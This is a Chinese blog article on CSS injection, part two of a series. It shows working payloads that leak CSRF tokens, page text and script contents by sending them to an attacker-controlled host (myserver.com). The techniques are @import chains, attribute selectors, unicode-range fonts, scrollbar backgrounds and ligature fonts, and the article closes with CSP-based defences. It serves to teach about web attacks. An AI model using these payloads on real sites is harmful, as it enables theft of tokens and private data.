查看原文
其他

【第2751期】用 CSS 来偷数据 - CSS injection(下)

huli 前端早读课 2022-10-14

前言

昨天文末留的几个问题,今天来答案了。今日前端早读课文章由 @huli 授权分享。

正文从这开始~~

【第2750期】用 CSS 来偷数据 - CSS injection(上)

上一篇面,我们知道了基本的 CSS 偷数据原理,并且以 HackMD 作为实际案例示范,成功偷到了 CSRF token,而这篇则是要深入去看 CSS injection 的一些细节,解決以下问题:

  • HackMD 因为可以及时同步內容,所以不需要重新整理就可以加载新的 style,那其他网站呢?该怎么偷到第二个以后的字符?

  • 一次只能偷一个字符的话,是不是要偷很久呢?这在实际上可行吗?

  • 有沒有办法偷到属性以外的东西?例如说页面上的文字內容,或甚至是 JavaScript 的代码?

  • 针对这个攻击手法的防御方式有哪些?

偷到所有字符

上篇里面我们有提到,我们想偷的数据有可能只要重新整理以后就会改变(如 CSRF token),所以我们必须在不重新整理的情况之下加载新的 style。

上一篇里面之所以做得到,是因为 HackMD 本身就是一个标榜即时更新的文件,但如果是一般的网页呢?在不能用 JavaScript 的情况下,该如何不断动态载入新的 style?

有关于这个问题,在 CSS Injection Attacks 这份简报里面给出了解答:@import

在 CSS 里面,你可以用 @import 去把外部的其他 style 引入进来,就像 JavaScript 的 import 那样。

我们可以利用这个功能做出引入 style 的回圈,如下面的代码:

@import url(https://myserver.com/start?len=8)

接着,在 server 回传如下的 style:

@import url(https://myserver.com/payload?len=1)
@import url(https://myserver.com/payload?len=2)
@import url(https://myserver.com/payload?len=3)
@import url(https://myserver.com/payload?len=4)
@import url(https://myserver.com/payload?len=5)
@import url(https://myserver.com/payload?len=6)
@import url(https://myserver.com/payload?len=7)
@import url(https://myserver.com/payload?len=8)

重点来了,这边虽然一次引入了 8 个,但是 “后面 7 个 request,server 都会先 hang 住,不会给 response”,只有第一个网址 https://myserver.com/payload?len=1 会回传 response,内容为之前提过的偷资料 payload:

input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}

input[name="secret"][value^="c"] {
background: url(https://b.myserver.com/leak?q=c)
}

//....

input[name="secret"][value^="z"]
{
background: url(https://b.myserver.com/leak?q=z)
}

当浏览器收到 response 的时候,就会先载入上面这一段 CSS,载入完以后符合条件的元素就会发 request 到后端,假设第一个字是 d 好了,接著 server 这时候才回传 https://myserver.com/payload?len=2 的 response,内容为:

input[name="secret"][value^="da"] {
background: url(https://b.myserver.com/leak?q=da)
}

input[name="secret"][value^="db"] {
background: url(https://b.myserver.com/leak?q=db)
}

input[name="secret"][value^="dc"] {
background: url(https://b.myserver.com/leak?q=dc)
}

//....

input[name="secret"][value^="dz"]
{
background: url(https://b.myserver.com/leak?q=dz)
}

以此类推,只要不断重复这些步骤,就可以把所有字符都传到 server 去,靠的就是 import 会先载入已经下载好的 resource,然后去等待还没下载好的特性。

这边有一点要特别注意,你会发现我们载入 style 的 domain 是 myserver.com,而背景图片的 domain 是 b.myserver.com,这是因为浏览器通常对于一个 domain 能同时载入的 request 有数量上的限制,所以如果你全部都是用 myserver.com 的话,会发现背景图片的 request 送不出去,都被 CSS import 给卡住了。

因此需要设置两个 domain,来避免这种状况。

除此之外,上面这种方式在 Firefox 是行不通的,因为在 Firefox 上就算第一个的 response 先回来,也不会立刻更新 style,要等所有 request 都回来才会一起更新。解法的话可以参考这一篇:CSS data exfiltration in Firefox via a single injection point,把第一步的 import 拿掉,然后每一个字符的 import 都用额外的 style 包着,像这样:

<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>

而上面这样 Chrome 也是没问题的,所以统一改成上面这样,就可以同时支持两种浏览器了。

总结一下,只要用 @import 这个 CSS 的功能,就可以做到 “不重新载入页面,但可以动态载入新的 style”,进而偷取后面的每一个字符。

一次偷一个字符,太慢了吧?

若是想要在现实世界中执行这种攻击,效率可能要再更好一点。以 HackMD 为例,CSRF token 总共有 36 个字,所以就要发 36 个 request,确实是太多了点。

事实上,我们一次可以偷两个字符,因为上集有讲过除了 prefix selector 以外,也有 suffix selector,所以可以像这样:

input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}

// ...
input[name="secret"][value$="a"]
{
border-background: url(https://b.myserver2.com/suffix?q=a)
}

input[name="secret"][value$="b"] {
border-background: url(https://b.myserver2.com/suffix?q=b)
}

除了偷开头以外,我们也偷结尾,效率立刻变成两倍。要特别注意的是开头跟结尾的 CSS,一个用的是 background,另一个用的是 border-background,是不同的属性,因为如果用同一个属性的话,内容就会被其他的盖掉,最后只会发出一个 request。

若是内容可能出现的字符不多,例如说 16 个的话,那我们可以直接一次偷两个开头加上两个结尾,总共的 CSS rule 数量为 16*16*2 = 512 个,应该还在可以接受的范围内,就能够再加速两倍。

除此之外,也可以朝 server 那边去改善,例如说改用 HTTP/2 或甚至是 HTTP/3,都有机会能够加速 request 载入的速度,进而提升效率。

偷其他东西

除了偷属性之外,有没有办法偷到其他东西?例如说,页面上的其他文字?或甚至是 script 里面的代码?

根据我们在上一篇里面讲的原理,是做不到的。因为能偷到属性是因为 “属性选择器” 这个东西,才让我们选到特定的元素,而在 CSS 里面,并没有可以选择 “内文” 的选择器。

因此,我们需要对 CSS 以及网页上的样式有更深入的理解,才有办法达成这件看似不可能的任务。

unicode-range

在 CSS 里面,有一个属性叫做 unicode-range,可以针对不同的字符,载入不同的字体。像是底下这个从 MDN 拿来的范例:

<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "Ampersand";
src: local("Times New Roman");
unicode-range: U+26;
}

div {
font-size: 4em;
font-family: Ampersand, Helvetica, sans-serif;
}
</style>
<div>Me & You = Us</div>
</body>
</html>

& 的 unicode 是 U+0026,因此只有 & 这个字会用不同的字体来显示,其他都用同一个字体。

这招前端工程师可能有用过,例如说英文跟中文如果要用不同字体来显示,就很适合用这一招。而这招也可以用来偷取页面上的文字,像这样:

<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "f1";
src: url(https://myserver.com?q=1);
unicode-range: U+31;
}

@font-face {
font-family: "f2";
src: url(https://myserver.com?q=2);
unicode-range: U+32;
}

@font-face {
font-family: "f3";
src: url(https://myserver.com?q=3);
unicode-range: U+33;
}

@font-face {
font-family: "fa";
src: url(https://myserver.com?q=a);
unicode-range: U+61;
}

@font-face {
font-family: "fb";
src: url(https://myserver.com?q=b);
unicode-range: U+62;
}

@font-face {
font-family: "fc";
src: url(https://myserver.com?q=c);
unicode-range: U+63;
}

div {
font-size: 4em;
font-family: f1, f2, f3, fa, fb, fc;
}
</style>
Secret: <div>ca31a</div>
</body>
</html>

如果你去看 network tab,会看到一共发送了 4 个 request:


藉由这招,我们可以得知页面上有:13ac 这四个字符。

而这招的局限之处也很明显,就是:

  • 我们不知道字符的顺序为何

  • 重复的字符也不会知道

但是从 “载入字体” 的角度下去思考怎么偷到字符,着实带给了许多人一个新的思考方式,并发展出各式各样其他的方法。

字体高度差异 + first-line + scrollbar

这招要解决的主要是上一招碰到的问题:“没办法知道字元顺序”,然后这招结合了很多细节,步骤很多,要仔细听了。

首先,我们其实可以不载入外部字体,用内置的字体就能 leak 出字符。这要怎么做到呢?我们要先找出两组内置字体,高度会不同。

例如有一个叫做 “Comic Sans MS” 的字体,高度就比另一个 “Courier New” 高。

举个例子,假设预设字体的高度是 30px,而 Comic Sans MS 是 45px 好了。那现在我们把文字区块的高度设成 40px,并且载入字体,像这样:

<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 30px;
height: 40px;
width: 100px;
font-family: fa, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
}

</style>
Secret: <div>DBC</div>
<div>ABC</div>
</body>
</html>

就会在画面上看到差异:


很明显 A 比其他字符的高度都高,而且根据我们的 CSS 设定,如果内容高度超过容器高度,会出现 scrollbar。虽然上面是截图看不出来,但是下面的 ABC 有出现 scrollbar,而上面的 DBC 没有。

再者,我们其实可以帮 scrollbar 设定一个外部的背景:

div::-webkit-scrollbar {
background: blue;
}

div::-webkit-scrollbar:vertical {
background: url(https://myserver.com?q=a);
}

也就是说,如果 scrollbar 有出现,我们的 server 就会收到 request。如果 scrollbar 没出现,就不会收到 request。

更进一步来说,当我把 div 套用 “fa” 字体时,如果画面上有 A,就会出现 scrollbar,server 就会收到 request。如果画面上没有 A,就什么事情都不会发生。

因此,我如果一直重复载入不同字体,那我在 server 就能知道画面上有什么字符,这点跟刚刚我们用 unicode-range 能做到的事情是一样的。

那要怎么解决顺序的问题呢?

我们可以先把 div 的宽度缩减到只能显示一个字符,这样其他字符就会被放到第二行去,再搭配 ::first-line 这个 selector,就可以特别针对第一行做样式的调整,像是这样:

<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fa, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
}

div::first-line{
font-size: 30px;
}

</style>
Secret: <div>CBAD</div>
</body>
</html>

页面上你就只会看到一个 “C” 的字符,因为我们先用 font-size: 0px 把所有字符的尺寸都设为 0,再用 div::first-line 去做调整,让第一行的 font-size 变成 30px。换句话说,只有第一行的字元能看到,而现在的 div 宽度只有 20px,所以只会出现第一个字符。

接着,我们再运用刚刚学会的那招,去载入看看不同的字体。当我载入 fa 这个字体时,因为画面上没有出现 A,所以不会有任何变化。但是当我载入 fc 这个字体时,画面上有 C,所以就会用 Comic Sans MS 来显示 C,高度就会变高,scrollbar 就会出现,就可以利用它来发出 request,像这样:

div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fc, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
--leak: url(http://myserver.com?C);
}

div::first-line{
font-size: 30px;
}

div::-webkit-scrollbar {
background: blue;
}

div::-webkit-scrollbar:vertical {
background: var(--leak);
}

那我们要怎么样不断使用新的 font-family 呢?用 CSS animation 就可以做到,你可以用 CSS animation 不断载入不同的 font-family 以及指定不同的 –leak 变量。

如此一来,我们就能知道画面上的第一个字符到底是什么。

知道了第一个字符以后,我们把 div 的宽度变长,例如说变成 40px,就能容纳两个字符,因此第一行就会是前两个字,接着再用一样的方式载入不同的 font-family,就能 leak 出第二个字符,详细流程如下:

  • 假设页面上是 ACB

  • 调整宽度为 20px,第一行只出现第一个字符 A

  • 载入字体 fa,因此 A 用较高的字体显示,出现 scrollbar,载入 scrollbar 背景,传送 request 给 server

  • 载入字体 fb,但是 B 没有出现在画面上,因此没有任何变化。

  • 载入字体 fc,但是 C 没有出现在画面上,因此没有任何变化。

  • 调整宽度为 40px,第一行出现两个字符 AC

  • 载入字体 fa,因此 A 用较高的字体显示,出现 scrollbar,此时应该是因为这个背景已经载入过,所以不会发送新的 request

  • 载入字体 fb,没出现在画面上,没任何变化

  • 载入字体 fc,C 用较高的字体显示,出现 scrollbar 并且载入背景

  • 调整宽度为 60px,ACB 三个字元都出现在第一行

  • 载入字体 fa,同第七步

  • 载入字体 fb,B 用较高的字体显示,出现 scrollbar 并且载入背景

  • 载入字体 fc,C 用较高的字体显示,但因为已经载入过相同背景,不会发送 request

  • 结束

从上面流程中可以看出 server 会依序收到 A, C, B 三个 reqeust,代表了画面上字符的顺序。而不断改变宽度以及 font-family 都可以用 CSS animation 做到。

想要看完整 demo 的可以看这个网页(出处:What can we do with single CSS injection?):https://demo.vwzq.net/css2.html

这个解法虽然解决了 “不知道字元顺序” 的问题,但依然无法解决重复字符的问题,因为重复的字符不会再发出 request。

大绝招:ligature + scrollbar

先讲结论,这一招可以解决上面所有问题,达成 “知道字符顺序,也知道重复字符” 的目标,能够偷到完整的文字。

要理解怎么偷之前,我们要先知道一个专有名词,叫做连字(ligature),在某些字型当中,会把一些特定的组合 render 成连在一起的样子,如下图(来源:wikipedia):


那这个对我们有什么帮助呢?

我们可以自己制作出一个独特的字体,把 ab 设定成连字,并且 render 出一个超宽的元素。接着,我们把某个 div 宽度设成固定,然后结合刚刚 scrollbar 那招,也就是:“如果 ab 有出现,就会变很宽,scrollbar 就会出现,就可以载入 request 告诉 server;如果没出现,那 scrollbar 就不会出现,没有任何事情发生”。

流程是这样的,假设页面上有 acc 这三个字:

  • 载入有连字 aa 的字体,没事发生

  • 载入有连字 ab 的字体,没事发生

  • 载入有连字 ac 的字体,成功 render 超宽的画面,scrollbar 出现,载入 server 图片

  • server 知道页面上有 ac

  • 载入有连字 aca 的字体,没事发生

  • 载入有连字 acb 的字体,没事发生

  • 载入有连字 acc 的字体,成功 render,scrollbar 出现,传送结果给 server

  • server 知道页面上有 acc

  • 透过连字结合 scrollbar,我们可以一个字符一个字符,慢慢 leak 出页面上所有的字,甚至连 JavaScript 的代码都可以!

你知道,script 的内容是可以显示在页面上的吗?

head, script {
display: block;
}

只要加上这个 CSS,就可以让 script 内容也显示在画面上,因此我们也可以利用同样的技巧,偷到 script 的内容!

在实战上的话,你可以用 SVG 搭配其他工具,在 server 端迅速产生字体,想要看细节以及相关代码的话,可以参考这篇:.

而这边我就简单做个简化到不行的 demo,来证明这件事情是可行的。为了简化,有人做了一个 Safari 版本的 demo,因为 Safari 支持 SVG font,所以不需要再从 server 产生字型,原始文章在这裡:Data Exfiltration via CSS + SVG Font - PoC (Safari only)

简易版 demo:

<!DOCTYPE html>
<html lang="en">
<body>
<script>
var secret = "abc123"
</script>
<hr>
<script>
var secret2 = "cba321"
</script>
<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
</font>
</defs>
</svg>
<style>
script {
display: block;
font-family:"hack";
white-space:n owrap;
overflow-x: auto;
width: 500px;
background:lightblue;
}

script::-webkit-scrollbar {
background: blue;
}

</style>
</body>
</html>

我用 script 放了两段 JS,里面内容分别是 var secret = "abc123" 跟 var secret2 = "cba321",接着利用 CSS 载入我准备好的字体,只要有 "a 的连字,就会宽度超宽。

再来如果 scrollbar 有出现,我把背景设成蓝色的,比较显眼,最后的结果如下:


上面因为内容是 var secret = "abc123",所以符合了 "a 的连字,因此宽度变宽,scrollbar 出现。

下面因为没有 a,所以 scrollbar 没出现(有 a 的地方都会缺字,应该跟我没有定义其他的 glyph 有关,但不影响结果)

只要把 scrollbar 的背景换成 URL,就可以从 server 端知道 leak 的结果。

如果想看实际的 demo 跟 server 端的写法,可以参考上面附的那两篇文章。

防御方式

最后我们来讲一下防御方式,最简单明了的当然就是直接把 style 封起来不给用,基本上就不会有 CSS injection 的问题(除非操作方式有漏洞)。

如果真的要开放 style,也可以用 CSP 来阻挡一些资源的载入,例如说 font-src 就没有必要全开,style-src 也可以设置 allow list,就能够挡住 @import 这个语法。

再来,也可以考虑到 “如果页面上的东西被拿走,会发生什么事情”,例如说 CSRF token 被拿走,最坏就是 CSRF,此时就可以实作更多的防护去阻挡 CSRF,就算攻击者取得了 CSRF token,也没办法 CSRF(例如说多检查 origin header 之类的)。

总结

CSS 果真博大精深,真的很佩服这些前辈们可以把 CSS 玩出这么多花样,发展出这麽多令人眼界大开的攻击手法。当初在研究的时候,利用属性选择器去 leak 这个我可以理解,用 unicode-range 我也能理解,但是那个用文字高度加上 CSS animation 去变化的,我花了不少时间才搞懂那在干嘛,连字那个虽然概念好懂,但真的要实作还是会碰到不少问题。

最后,这两篇文章主要算是介绍一下 CSS injection 这个攻击手法,因此实际的代码并不多,而这些攻击手法都参考自前人们的文章,列表我会附在下面,有兴趣的话可以阅读原文,会讲得更详细一点。

参考资料:

  • CSS Injection Attacks

  • CSS Injection Primitives

  • HackTricks - CSS Injection

  • Stealing Data in Great style – How to Use CSS to Attack Web Application.

  • Data Exfiltration via CSS + SVG Font

  • Data Exfiltration via CSS + SVG Font - PoC (Safari only)

  • CSS data exfiltration in Firefox via a single injection point

关于本文
作者:@huli
原文:https://blog.huli.tw/2022/09/29/css-injection-2/


关于【CSS】相关推荐,欢迎读者自荐投稿,前端早读课等你来。+v:zhgb_f2er

【第2700期】动画合成小技巧!CSS 实现动感的倒计时效果

【第2684期】CSS Houdini 实现磁吸效果

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存